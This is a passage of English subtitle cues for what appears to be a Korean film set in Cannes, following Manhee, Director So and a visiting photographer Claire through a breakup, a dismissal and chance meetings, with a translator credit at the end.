- Do you want to hear my song?
- Sure, I'd love to.

453
00:34:42.244 --> 00:34:44.030
Okay, so...

454
00:34:45.702 --> 00:34:50.602
One, two, two, three, three

455
00:34:50.705 --> 00:34:55.236
Four, four, five...

456
00:34:55.382 --> 00:34:59.599
Six, six, seven, seven...

457
00:34:59.874 --> 00:35:03.896
Eight, eight, eight, ten...

458
00:35:03.997 --> 00:35:07.845
All the numbers are important

459
00:35:08.139 --> 00:35:12.147
We count everything with numbers

460
00:35:12.631 --> 00:35:16.971
We do not know, we do not know

461
00:35:17.099 --> 00:35:21.349
Only we count in numbers

462
00:35:21.450 --> 00:35:22.672
It's wonderful!

463
00:35:22.773 --> 00:35:24.444
Thank you! Easy song.

464
00:35:24.545 --> 00:35:27.453
Oh, it's great, you have a beautiful voice.

465
00:35:27.554 --> 00:35:29.704
Thank you. Thank you very much!

466
00:35:34.141 --> 00:35:36.264
The gala exhibition is tomorrow.

467
00:35:36.471 --> 00:35:39.232
With your health,
you should not strain yourself.

468
00:35:39.333 --> 00:35:41.983
I feel frustrated.

469
00:35:42.084 --> 00:35:44.054
How can I say? I'm against the wall.

470
00:35:44.908 --> 00:35:48.054
Too many worries, I guess.

471
00:35:48.241 --> 00:35:50.413
What are you worried about?

472
00:35:50.514 --> 00:35:51.786
- It's just...
- Tell me.

473
00:35:51.887 --> 00:35:54.321
It's just... Nothing special.

474
00:35:55.259 --> 00:35:57.242
At these times, I like to drink.

475
00:35:58.791 --> 00:36:00.676
Do you want to get drunk?

476
00:36:01.290 --> 00:36:03.537
Why drink so fast?

477
00:36:03.831 --> 00:36:06.959
I'm already drunk. I drank a lot!

478
00:36:11.425 --> 00:36:12.725
Wait...

479
00:36:13.554 --> 00:36:15.519
Are you thinking about Manhee?

480
00:36:16.001 --> 00:36:18.516
- Is that?
- Manhee?

481
00:36:20.317 --> 00:36:21.617
Manhee.

482
00:36:22.182 --> 00:36:24.473
I'm worried it was my mistake.

483
00:36:25.967 --> 00:36:27.777
What is the problem?

484
00:36:28.717 --> 00:36:32.075
You slept with her
while you were drunk.

485
00:36:32.176 --> 00:36:33.716
And she wanted too.

486
00:36:34.588 --> 00:36:38.079
I just feel sorry.
Something is wrong with me.

487
00:36:39.074 --> 00:36:40.374
I feel like this.

488
00:36:41.339 --> 00:36:45.027
Or maybe you miss her.

489
00:36:49.881 --> 00:36:51.482
I don't think so.

490
00:36:52.367 --> 00:36:56.116
Anyway, something is
definitely wrong with me.

491
00:36:59.154 --> 00:37:02.017
- You're pathetic.
- What?

492
00:37:04.871 --> 00:37:06.171
What did you say?

493
00:37:07.548 --> 00:37:09.117
That you're pathetic.

494
00:37:10.927 --> 00:37:16.639
You get drunk, sleep with a girl.
Why are you so worried?

495
00:37:22.311 --> 00:37:25.304
Sorry to say that,

496
00:37:26.410 --> 00:37:27.710
but I have to...

497
00:37:29.296 --> 00:37:31.094
I wish I had said it before.

498
00:37:32.773 --> 00:37:34.073
What?

499
00:37:36.570 --> 00:37:42.294
You and I have a good
working relationship,

500
00:37:42.797 --> 00:37:46.534
and we respect each other.

501
00:37:47.308 --> 00:37:51.833
But I don't think we
should be a couple anymore.

502
00:37:52.705 --> 00:37:56.990
So we can work together
for a long time.

503
00:38:04.096 --> 00:38:05.396
Are you serious?

504
00:38:06.305 --> 00:38:08.848
Yes, I think so.

505
00:38:16.188 --> 00:38:20.405
I think I let you drink too much.

506
00:38:20.601 --> 00:38:21.901
It's not that.

507
00:38:22.176 --> 00:38:25.814
That way we can stay together
for a long time.

508
00:38:30.096 --> 00:38:31.515
What is the real reason?

509
00:38:31.616 --> 00:38:34.210
- That's what I said.
- What are you saying?

510
00:38:34.311 --> 00:38:38.614
For our sake,
while my mind is still sane.

511
00:38:40.613 --> 00:38:41.913
Now...

512
00:38:43.277 --> 00:38:45.408
We need to stop this now.

513
00:38:46.061 --> 00:38:49.427
While you're still beautiful

514
00:38:50.441 --> 00:38:52.005
and to avoid any troubles.

515
00:39:05.265 --> 00:39:06.565
Right.

516
00:39:09.628 --> 00:39:13.919
If that's the way you see it,
go for it.

517
00:39:16.970 --> 00:39:18.270
Thank you.

518
00:39:20.102 --> 00:39:23.693
Don't get me wrong.
Trust in my judgment.

519
00:39:23.794 --> 00:39:25.390
You didn't convince me.

520
00:39:26.791 --> 00:39:28.091
Even so...

521
00:39:30.213 --> 00:39:31.747
if that's the way you see it.

522
00:39:33.542 --> 00:39:38.651
Right or wrong, you see things that way.

523
00:39:39.524 --> 00:39:40.879
I will respect that.

524
00:39:42.477 --> 00:39:43.777
Thank you.

525
00:39:44.705 --> 00:39:46.184
I like you very much.

526
00:39:48.053 --> 00:39:49.482
You are remarkable.

527
00:39:57.665 --> 00:39:59.291
They broke up with me again.

528
00:40:05.868 --> 00:40:08.657
I'm embarrassed.
I immersed myself in this relationship.

529
00:40:09.665 --> 00:40:11.014
What a waste of time.

530
00:40:13.081 --> 00:40:18.054
It's the only way we can
continue with comfort.

531
00:40:18.361 --> 00:40:23.023
It's to last a long time.

532
00:40:23.124 --> 00:40:24.799
Think this way.

533
00:40:31.979 --> 00:40:36.362
I need to think over
about the 'long time'.

534
00:40:43.364 --> 00:40:45.457
Your eyes are very pretty.

535
00:40:48.416 --> 00:40:51.962
Seeing you like this, they really are.

536
00:40:57.573 --> 00:40:58.873
I know.

537
00:41:01.708 --> 00:41:05.527
To be honest, I'm still pretty.

538
00:41:05.628 --> 00:41:08.097
Yes you are.

539
00:41:11.727 --> 00:41:14.221
Can't you like me as before?

540
00:41:14.779 --> 00:41:18.504
When we met, you adored me.

541
00:41:19.388 --> 00:41:21.679
Can't we go back to that time?

542
00:41:22.687 --> 00:41:24.264
Director So!

543
00:41:24.921 --> 00:41:26.694
I’m Yanghye.

544
00:41:27.241 --> 00:41:29.921
Your lovely Yanghye.

545
00:41:30.022 --> 00:41:31.685
I know.

546
00:41:32.301 --> 00:41:36.910
When we first met in Busan,
you were so beautiful.

547
00:41:37.011 --> 00:41:40.733
That's true. I was pretty back then.

548
00:41:40.834 --> 00:41:42.251
Right.

549
00:41:42.521 --> 00:41:44.122
You still are.

550
00:41:44.268 --> 00:41:46.039
- Oh really?
- You are beautiful!

551
00:41:51.210 --> 00:41:53.312
So you're still here. I'm so lucky.

552
00:41:53.413 --> 00:41:56.389
- Ah, you came back!
- Yes.

553
00:41:56.490 --> 00:41:59.254
I left my coat here. I'm so stupid.

554
00:41:59.376 --> 00:42:01.860
- We were expecting you.
- Oh really?

555
00:42:01.961 --> 00:42:03.757
- Thank you.
- Here's your coat.

556
00:42:05.185 --> 00:42:07.261
You drank a lot, So.

557
00:42:07.985 --> 00:42:09.488
You look like a drunk!

558
00:42:09.881 --> 00:42:14.177
Yes, I'm drunk. I want to get drunk.

559
00:42:14.705 --> 00:42:16.177
You want to get drunk?

560
00:42:16.410 --> 00:42:20.984
You know? I'm fifty. I need to get drunk.

561
00:42:21.930 --> 00:42:25.021
- So, you're fifty.
- Fifty.

562
00:42:25.394 --> 00:42:27.550
Yeah, I'm 50 now.

563
00:42:29.388 --> 00:42:31.661
Good. I need to go.

564
00:42:32.305 --> 00:42:34.161
And take good care of yourself.

565
00:42:34.262 --> 00:42:36.768
- You have to go?
- Yes.

566
00:42:37.901 --> 00:42:40.196
- Bye, bye.
- Bye, Claire.

567
00:42:49.302 --> 00:42:51.562
- Here, your sunglasses.
- Oh, thank you.

568
00:42:52.341 --> 00:42:54.973
- It's a nice day.
- Yeah, it's a beautiful day.

569
00:42:55.074 --> 00:42:56.374
Yes.

570
00:43:00.711 --> 00:43:02.149
- I'm hungry.
- Are you hungry?

571
00:43:02.250 --> 00:43:03.176
Yes.

572
00:43:03.277 --> 00:43:04.696
- Don't worry, Claire.
- Come with me.

573
00:43:04.797 --> 00:43:07.137
- I'll cook for you.
- Oh, thank you.

574
00:43:11.431 --> 00:43:14.153
Hey. Excuse me. Thanks.

575
00:43:42.793 --> 00:43:45.806
Sorry, we cannot use the elevator.

576
00:43:45.907 --> 00:43:47.422
It’s out of order.

577
00:43:47.537 --> 00:43:49.273
It looks okay to me.

578
00:43:49.593 --> 00:43:53.908
It looks okay now,
but it sometimes stops in the middle.

579
00:43:54.128 --> 00:43:58.003
A few days ago,
I was stuck there in the elevator.

580
00:43:58.104 --> 00:43:59.404
Really?

581
00:43:59.821 --> 00:44:03.274
- It must have been frightening.
- Yes, I was so scared.

582
00:44:03.617 --> 00:44:05.416
I'm scared of elevators too.

583
00:44:06.001 --> 00:44:12.056
- You mean, even when they work properly?
- Actually, I hate elevators.

584
00:44:13.248 --> 00:44:15.849
Yes, I see. So let's go walking.

585
00:44:15.950 --> 00:44:17.453
Sure. It's okay.

586
00:44:20.602 --> 00:44:22.136
I like this painting.

587
00:44:23.624 --> 00:44:24.924
They look alright.

588
00:44:25.747 --> 00:44:29.311
- But they're kind of strange, too.
- Oh, you think so?

589
00:44:29.784 --> 00:44:31.084
They are strange.

590
00:44:32.079 --> 00:44:33.379
Don't you think?

591
00:44:37.174 --> 00:44:40.339
Yes, they're strange looking at it now.

592
00:44:41.638 --> 00:44:42.938
Yes.

593
00:44:43.039 --> 00:44:46.333
- Very strange.
- Yes, very strange.

594
00:45:04.151 --> 00:45:06.333
- Eat some fruit.
- Thanks.

595
00:45:06.516 --> 00:45:08.105
It was a great meal.

596
00:45:09.174 --> 00:45:11.270
I should have cooked, not you.

597
00:45:11.371 --> 00:45:13.962
It's all right. We needed to eat anyway.

598
00:45:14.221 --> 00:45:16.542
Luckily we had a bit of bulgogi.

599
00:45:17.119 --> 00:45:19.596
I thought it would be hard, but it is not.

600
00:45:19.697 --> 00:45:23.871
We buy in the market.
It's better than the supermarket.

601
00:45:25.217 --> 00:45:27.736
It was great. You're a good cook.

602
00:45:28.104 --> 00:45:30.230
Thank you, I enjoy cooking.

603
00:45:30.331 --> 00:45:32.253
Yes, I can see that.

604
00:45:34.257 --> 00:45:36.864
- Can I take a picture of you?
- Me?

605
00:45:36.965 --> 00:45:39.244
Yes! I like your face.

606
00:45:40.054 --> 00:45:42.991
You have a very feminine face.

607
00:45:45.501 --> 00:45:46.801
You're right.

608
00:45:47.193 --> 00:45:49.644
He has a cute face, like a woman's.

609
00:45:50.910 --> 00:45:53.467
And he has a woman's heart too.

610
00:45:53.568 --> 00:45:55.108
You think so?

611
00:45:55.913 --> 00:45:57.305
He has that quality.

612
00:45:58.239 --> 00:45:59.982
- Can I?
- Sure!

613
00:46:16.621 --> 00:46:19.609
- Can I see?
- Sure. You can have it if you want.

614
00:46:19.710 --> 00:46:21.471
- Thank you.
- Thank you.

615
00:46:29.119 --> 00:46:31.530
- Do you want to look at them?
- Oh, thank you.

616
00:46:36.601 --> 00:46:40.111
- This one is good, beautiful!
- Oh really?

617
00:46:40.590 --> 00:46:44.339
- I'm happy you like it.
- Yes, this one is very beautiful.

618
00:46:46.091 --> 00:46:49.441
- You have great talent.
- Oh, thank you very much.

619
00:46:54.984 --> 00:46:56.284
What is it?

620
00:46:57.901 --> 00:46:59.933
Why is he here? Do you know him?

621
00:47:00.202 --> 00:47:02.271
Oh, So? Yes, I know him.

622
00:47:04.781 --> 00:47:08.234
- He's kind of a drunkard.
- Yes, you're right.

623
00:47:08.411 --> 00:47:10.074
But how do you know him?

624
00:47:10.202 --> 00:47:12.585
I met him accidentally in a café.

625
00:47:14.541 --> 00:47:15.841
So you know him?

626
00:47:16.276 --> 00:47:17.750
- Yes.
- He's a film director.

627
00:47:17.851 --> 00:47:19.151
Yes, he is.

628
00:47:23.297 --> 00:47:24.696
You met him by chance?

629
00:47:26.344 --> 00:47:28.093
I think he's a real drunkard.

630
00:47:28.793 --> 00:47:30.883
Probably now he's totally drunk.

631
00:47:30.984 --> 00:47:32.794
Yes, he likes drinking.

632
00:47:35.217 --> 00:47:37.404
It's so funny you met him.

633
00:47:37.808 --> 00:47:39.761
In fact, we know him very well.

634
00:47:40.011 --> 00:47:41.994
Look, it's Director So.

635
00:47:44.270 --> 00:47:45.939
It's really him.

636
00:47:46.873 --> 00:47:48.253
How funny.

637
00:47:49.334 --> 00:47:51.047
How did she get it?

638
00:47:52.971 --> 00:47:54.399
It looks like an old photo.

639
00:47:59.654 --> 00:48:02.490
There was a Korean woman.
And she was in love with him.

640
00:48:02.591 --> 00:48:03.700
Really?

641
00:48:03.801 --> 00:48:07.379
I took her picture too.
But she wanted to have it.

642
00:48:08.061 --> 00:48:09.361
Who was she?

643
00:48:09.937 --> 00:48:13.369
She said she was kind of producer.
I didn't get it properly.

644
00:48:13.470 --> 00:48:16.241
She was speaking with
strong English accent.

645
00:48:18.073 --> 00:48:19.373
Was she good looing?

646
00:48:20.553 --> 00:48:22.136
She was alright.

647
00:48:23.974 --> 00:48:25.754
But a little strange, too.

648
00:48:27.205 --> 00:48:28.505
I see.

649
00:48:28.793 --> 00:48:30.179
She was strange?

650
00:48:36.793 --> 00:48:38.093
What are you thinking?

651
00:48:40.067 --> 00:48:41.865
I think she was my boss.

652
00:48:43.125 --> 00:48:45.668
She's the one who dismissed me.

653
00:48:47.107 --> 00:48:48.745
Oh, I didn't know that.

654
00:48:49.642 --> 00:48:51.699
She's the one who fired you?

655
00:48:51.950 --> 00:48:54.542
Yes, she did.

656
00:48:55.082 --> 00:48:58.321
- Even without telling me why.
- Really?

657
00:48:58.836 --> 00:49:00.136
Can they do that?

658
00:49:00.721 --> 00:49:02.431
Yes, they can do that.

659
00:49:02.996 --> 00:49:08.111
She told some very strange
reason to dismiss me.

660
00:49:09.457 --> 00:49:10.757
What's it?

661
00:49:13.777 --> 00:49:17.681
She told me she found out
I'm a dishonest person.

662
00:49:19.605 --> 00:49:22.944
But she didn't tell me why

663
00:49:23.045 --> 00:49:26.007
she thinks I'm dishonest person.

664
00:49:27.784 --> 00:49:30.074
Is she an honest person herself?

665
00:49:34.817 --> 00:49:36.204
I don't think so.

666
00:49:43.433 --> 00:49:46.095
I wonder what she was
thinking when she dismissed you.

667
00:49:46.196 --> 00:49:48.099
You're such a nice girl!

668
00:49:49.070 --> 00:49:51.225
I think I know why now.

669
00:49:54.701 --> 00:49:56.001
Do you?

670
00:49:56.701 --> 00:49:59.213
- What is it?
- I think...

671
00:50:02.313 --> 00:50:03.988
I better tell you later.

672
00:50:05.857 --> 00:50:07.699
She was just jealous.

673
00:50:08.048 --> 00:50:09.348
Yeah?

674
00:50:11.513 --> 00:50:13.841
- She was jealous?
- Yes.

675
00:50:16.387 --> 00:50:17.785
Excuse.

676
00:51:22.553 --> 00:51:25.434
- You want another more?
- Yes, thank you.

677
00:51:25.617 --> 00:51:29.436
The same, please.

678
00:51:29.537 --> 00:51:31.137
- Thank you.
- No problem.

679
00:51:42.251 --> 00:51:44.788
- Manhee, it's you.
- Director?

680
00:51:45.261 --> 00:51:48.304
- Nice to see you.
- So are you still here?

681
00:51:48.405 --> 00:51:50.450
I was going to catch a flight back,

682
00:51:50.682 --> 00:51:53.664
but I couldn't change my ticket.

683
00:51:53.765 --> 00:51:57.129
So I thought I'd stick around.

684
00:51:57.230 --> 00:51:59.324
I heard you got fired.

685
00:52:02.381 --> 00:52:04.868
Funny, right?

686
00:52:05.870 --> 00:52:09.166
Aren't you cold? The wind is strong.

687
00:52:09.267 --> 00:52:12.273
I'm not cold.

688
00:52:12.374 --> 00:52:15.391
It's windy today. You look cold.

689
00:52:15.771 --> 00:52:17.213
I am fine.

690
00:52:19.476 --> 00:52:20.776
Your makeup...

691
00:52:22.128 --> 00:52:23.730
is so strong.

692
00:52:25.051 --> 00:52:28.647
That?
I just put in a little bit more.

693
00:52:29.919 --> 00:52:31.219
That's it?

694
00:52:33.568 --> 00:52:35.855
I was very surprised to see you here.

695
00:52:35.956 --> 00:52:37.644
You're in a suit.

696
00:52:37.831 --> 00:52:42.031
- You are handsome!
- It's just something to cover me.

697
00:52:42.159 --> 00:52:45.016
I must use it, it's not mine.

698
00:52:45.242 --> 00:52:46.776
I borrowed.

699
00:52:48.079 --> 00:52:49.933
Still, it's beautiful.

700
00:52:52.091 --> 00:52:56.647
When you decided to wear this skirt,

701
00:52:56.990 --> 00:52:59.061
what were you thinking?

702
00:52:59.162 --> 00:53:02.593
It's a shorts with high waist,
not a skirt.

703
00:53:02.694 --> 00:53:04.911
I know. It's too short.

704
00:53:06.817 --> 00:53:09.724
I thought it was pretty.

705
00:53:11.131 --> 00:53:13.939
I bought it in Seoul.

706
00:53:14.311 --> 00:53:18.080
- Do you want men staring at you?
- What?

707
00:53:18.181 --> 00:53:22.920
You want that kind of cheap
attention from men?

708
00:53:23.021 --> 00:53:23.966
No!

709
00:53:24.067 --> 00:53:26.942
So why turn yourself into a show?

710
00:53:27.691 --> 00:53:30.420
If you were 18,

711
00:53:30.521 --> 00:53:34.612
wanting to try and copy everything,
I would even understand.

712
00:53:34.713 --> 00:53:36.126
But how old are you?

713
00:53:36.227 --> 00:53:40.302
Why to become an object
of cheap attention?

714
00:53:40.639 --> 00:53:42.425
What do you get out of it?

715
00:53:42.768 --> 00:53:46.794
Do you earn something worthwhile?

716
00:53:46.971 --> 00:53:51.145
Even a decent thing?

717
00:53:51.371 --> 00:53:53.910
- No.
- I'm a man, I get that!

718
00:53:54.011 --> 00:53:57.361
Why turn yourself into a cheap show?

719
00:53:58.621 --> 00:54:00.901
You are beautiful!
With a beautiful soul.

720
00:54:01.002 --> 00:54:03.305
You do not need to be exposed like that.

721
00:54:03.784 --> 00:54:06.803
Why to hurt yourself like that?

722
00:54:06.904 --> 00:54:09.553
Are you proud when you
look in the mirror?

723
00:54:09.654 --> 00:54:10.954
No!

724
00:54:11.987 --> 00:54:13.305
Don't do it.

725
00:54:14.141 --> 00:54:15.441
You are so beautiful!

726
00:54:16.553 --> 00:54:20.844
You have a beautiful soul.

727
00:54:21.341 --> 00:54:27.135
It doesn't matter how people see it.

728
00:54:27.236 --> 00:54:28.476
Be yourself.

729
00:54:28.577 --> 00:54:32.064
Don't try to seduce
people or sell yourself!

730
00:54:32.165 --> 00:54:33.465
Got it?

731
00:54:35.297 --> 00:54:36.597
Yes.

732
00:54:41.501 --> 00:54:43.496
You never did that?

733
00:54:45.021 --> 00:54:46.321
What?

734
00:54:49.217 --> 00:54:50.517
I'm a man.

735
00:54:52.836 --> 00:54:54.136
Well...

736
00:54:58.737 --> 00:55:03.077
Why don't you leave?
Don't stay here with me.

737
00:55:05.876 --> 00:55:09.102
- Should I?
- Yes, go away.

738
00:55:09.968 --> 00:55:11.527
Don't stay here with me.

739
00:55:13.911 --> 00:55:17.736
- I'm with someone else now.
- Oh really?

740
00:55:18.817 --> 00:55:20.117
Then I'm leaving.

741
00:55:22.165 --> 00:55:23.804
You look cold!

742
00:55:25.242 --> 00:55:26.542
Goodbye.

743
00:55:40.787 --> 00:55:43.084
- We gotta go.
- Right.

744
00:55:58.645 --> 00:55:59.945
I'm sorry.

745
00:56:01.254 --> 00:56:02.554
I'm sorry.

746
00:56:04.664 --> 00:56:06.634
Don't take pictures!

747
00:56:34.516 --> 00:56:37.380
- So this is the café?
- Yes, this is café.

748
00:56:37.481 --> 00:56:41.077
- And where did you sit?
- We sat at this table.

749
00:56:42.116 --> 00:56:44.087
And there were other people here?

750
00:56:44.504 --> 00:56:46.419
No, I don't think so.

751
00:56:46.854 --> 00:56:49.135
It was a very windy day.

752
00:56:49.236 --> 00:56:51.566
So people didn't want to sit outside.

753
00:56:51.667 --> 00:56:52.967
I see.

754
00:56:54.541 --> 00:56:57.791
And there was a big dog lying here.

755
00:56:58.571 --> 00:57:01.865
Oh really? I think I saw that dog too.

756
00:57:02.399 --> 00:57:04.087
A very big dog.

757
00:57:04.891 --> 00:57:07.564
- I think it was gray.
- Yes, you're right.

758
00:57:07.931 --> 00:57:09.867
- You saw that dog too?
- Yes!

759
00:57:09.968 --> 00:57:12.136
It's so strange.

760
00:57:12.965 --> 00:57:15.194
Yeah, this is a good sign.

761
00:57:15.513 --> 00:57:18.111
Because I saw the dog that you saw.

762
00:57:24.910 --> 00:57:27.896
There's a possibility that
that dog belongs here.

763
00:57:29.527 --> 00:57:30.827
Right.

764
00:57:30.928 --> 00:57:34.729
It's possible, because he was
lying here for a long time.

765
00:57:34.830 --> 00:57:36.253
And very comfortably.

766
00:57:36.891 --> 00:57:38.776
Perhaps we should ask the owner.

767
00:57:39.082 --> 00:57:40.634
- I'll wait here.
- Okay.

768
00:57:56.497 --> 00:58:02.013
Do you know what's most important
for me about a co-worker?

769
00:58:02.934 --> 00:58:04.314
Honesty.

770
00:58:05.014 --> 00:58:06.917
It's something precious.

771
00:58:07.501 --> 00:58:11.219
A natural born attribute.

772
00:58:11.808 --> 00:58:16.241
It's not something
you can achieve with time.

773
00:58:16.910 --> 00:58:19.939
That's why I hired you, you know that?

774
00:58:20.541 --> 00:58:22.167
I got it.

775
00:58:22.731 --> 00:58:24.031
Still...

776
00:58:24.251 --> 00:58:27.139
Even though I think
you have a good heart,

777
00:58:27.679 --> 00:58:30.335
I've come to the conclusion of what

778
00:58:30.436 --> 00:58:35.662
there's no guarantee of your honesty.

779
00:58:36.559 --> 00:58:38.905
Why did you come to this conclusion?

780
00:58:44.011 --> 00:58:46.751
Do you think I'm dishonest?

781
00:58:47.642 --> 00:58:49.133
Yes, a little.

782
00:58:49.476 --> 00:58:50.893
I just figured that out.

783
00:58:52.208 --> 00:58:55.416
I'm sorry. It's as I see it.

784
00:59:37.784 --> 00:59:39.717
Why do you take pictures?

785
00:59:42.159 --> 00:59:45.705
Because the only way to change things

786
00:59:46.451 --> 00:59:50.247
is to look at everything
again very slowly.

787
00:59:52.393 --> 00:59:54.474
That sounds very nice.

788
00:59:57.617 --> 01:00:00.204
- Do you want to drink something?
- Drink?

789
01:00:01.076 --> 01:00:03.065
Yes! Some wine, perhaps?

790
01:00:03.790 --> 01:00:05.914
I don't drink wine any more.

791
01:00:06.030 --> 01:00:08.659
I used to drink, but not anymore.

792
01:00:09.439 --> 01:00:11.908
- Beer, then?
- Beer is fine.

793
01:00:12.270 --> 01:00:13.570
Okay.

794
01:01:17.451 --> 01:01:19.022
Does it have any meaning?

795
01:01:20.479 --> 01:01:21.779
No.

796
01:01:21.894 --> 01:01:23.988
I just want to do this.

797
01:01:25.605 --> 01:01:26.905
Why?

798
01:01:28.202 --> 01:01:30.370
Because I hate the whole world.

799
01:01:32.147 --> 01:01:34.171
You mean the life you're living?

800
01:01:34.781 --> 01:01:36.351
Yes, I guess so.

801
01:01:37.525 --> 01:01:39.176
They're same things.

802
01:01:49.353 --> 01:01:50.653
How many?

803
01:01:51.679 --> 01:01:52.979
22.

804
01:01:57.550 --> 01:01:59.022
And how do you feel?

805
01:01:59.248 --> 01:02:02.862
- I feel great, really great.
- Good!

806
01:02:04.688 --> 01:02:06.899
You can cut more clothes if you want.

807
01:02:07.150 --> 01:02:08.450
Yes, maybe.

808
01:02:09.390 --> 01:02:11.644
But I feel really good now.

809
01:02:12.621 --> 01:02:15.274
- They're beautiful.
- You think so?

810
01:02:16.257 --> 01:02:18.031
Yes, they are nice.

811
01:02:18.897 --> 01:02:21.853
Yes. They're gorgeous.

812
01:02:23.827 --> 01:02:25.785
What do you teach at the school?

813
01:02:26.750 --> 01:02:28.647
I teach music.

814
01:02:30.590 --> 01:02:33.090
- In high school.
- I see.

815
01:02:34.934 --> 01:02:36.764
Do you have a boyfriend?

816
01:02:38.442 --> 01:02:40.659
He passed away a few months ago.

817
01:02:44.368 --> 01:02:46.462
He was a bookstore owner.

818
01:02:47.753 --> 01:02:50.191
And he taught me piano, too.

819
01:03:04.264 --> 01:03:07.434
- Do you remember him often?
- Oh, yes.

820
01:03:08.282 --> 01:03:10.031
I remember him every day.

821
01:03:11.753 --> 01:03:13.477
He's still alive to me.

822
01:03:16.910 --> 01:03:18.690
He taught me how to live.

823
01:03:22.608 --> 01:03:25.650
When he died, I almost
wanted to commit suicide.

824
01:03:26.688 --> 01:03:28.536
You loved him that much?

825
01:03:29.741 --> 01:03:32.924
Oh, yes. I loved him very much.

826
01:03:34.399 --> 01:03:35.699
Great...

827
01:03:36.854 --> 01:03:40.874
- you love someone like that...
- Yes I know. I'm lucky.

828
01:03:41.261 --> 01:03:42.561
Yes.

829
01:03:51.039 --> 01:03:52.339
It's my boss.

830
01:03:54.497 --> 01:03:56.167
She wants to see me now.

831
01:03:56.959 --> 01:04:00.401
She said she's right
in front of my place.

832
01:04:01.433 --> 01:04:04.074
- You'll see her?
- Let me see.

833
01:04:07.827 --> 01:04:09.127
She is here.

834
01:04:09.722 --> 01:04:13.293
It's so funny...
Why is she want to see me?

835
01:04:14.454 --> 01:04:15.754
You want me to go?

836
01:04:18.725 --> 01:04:20.899
I think you can stay.

837
01:04:21.925 --> 01:04:24.696
I'll go down first and talk to her.

838
01:04:24.873 --> 01:04:27.237
- And see what happens.
- Okay.

839
01:04:28.682 --> 01:04:32.339
- Can you stay?
- Oh sure, I have nothing to do.

840
01:04:32.541 --> 01:04:36.222
Okay, I'll be right back.
Have some apples there.

841
01:04:56.750 --> 01:04:59.601
- You're not cold?
- No, I'm okay.

842
01:05:01.101 --> 01:05:03.139
How did you know I was here?

843
01:05:04.368 --> 01:05:07.845
Sungyeon said you were here,
so I sent you a message.

844
01:05:08.836 --> 01:05:10.382
We need to talk.

845
01:05:10.584 --> 01:05:11.951
Sure.

846
01:05:13.181 --> 01:05:16.204
- Are you sure you're not cold?
- Yes.

847
01:05:55.414 --> 01:05:58.031
- You want help?
- No, go do your work.

848
01:06:08.411 --> 01:06:10.405
- I got it.
- No! Go do your work!

849
01:07:14.821 --> 01:07:19.821
Translated by gooz
karagarga, 2018


ZeroDay Forums Mini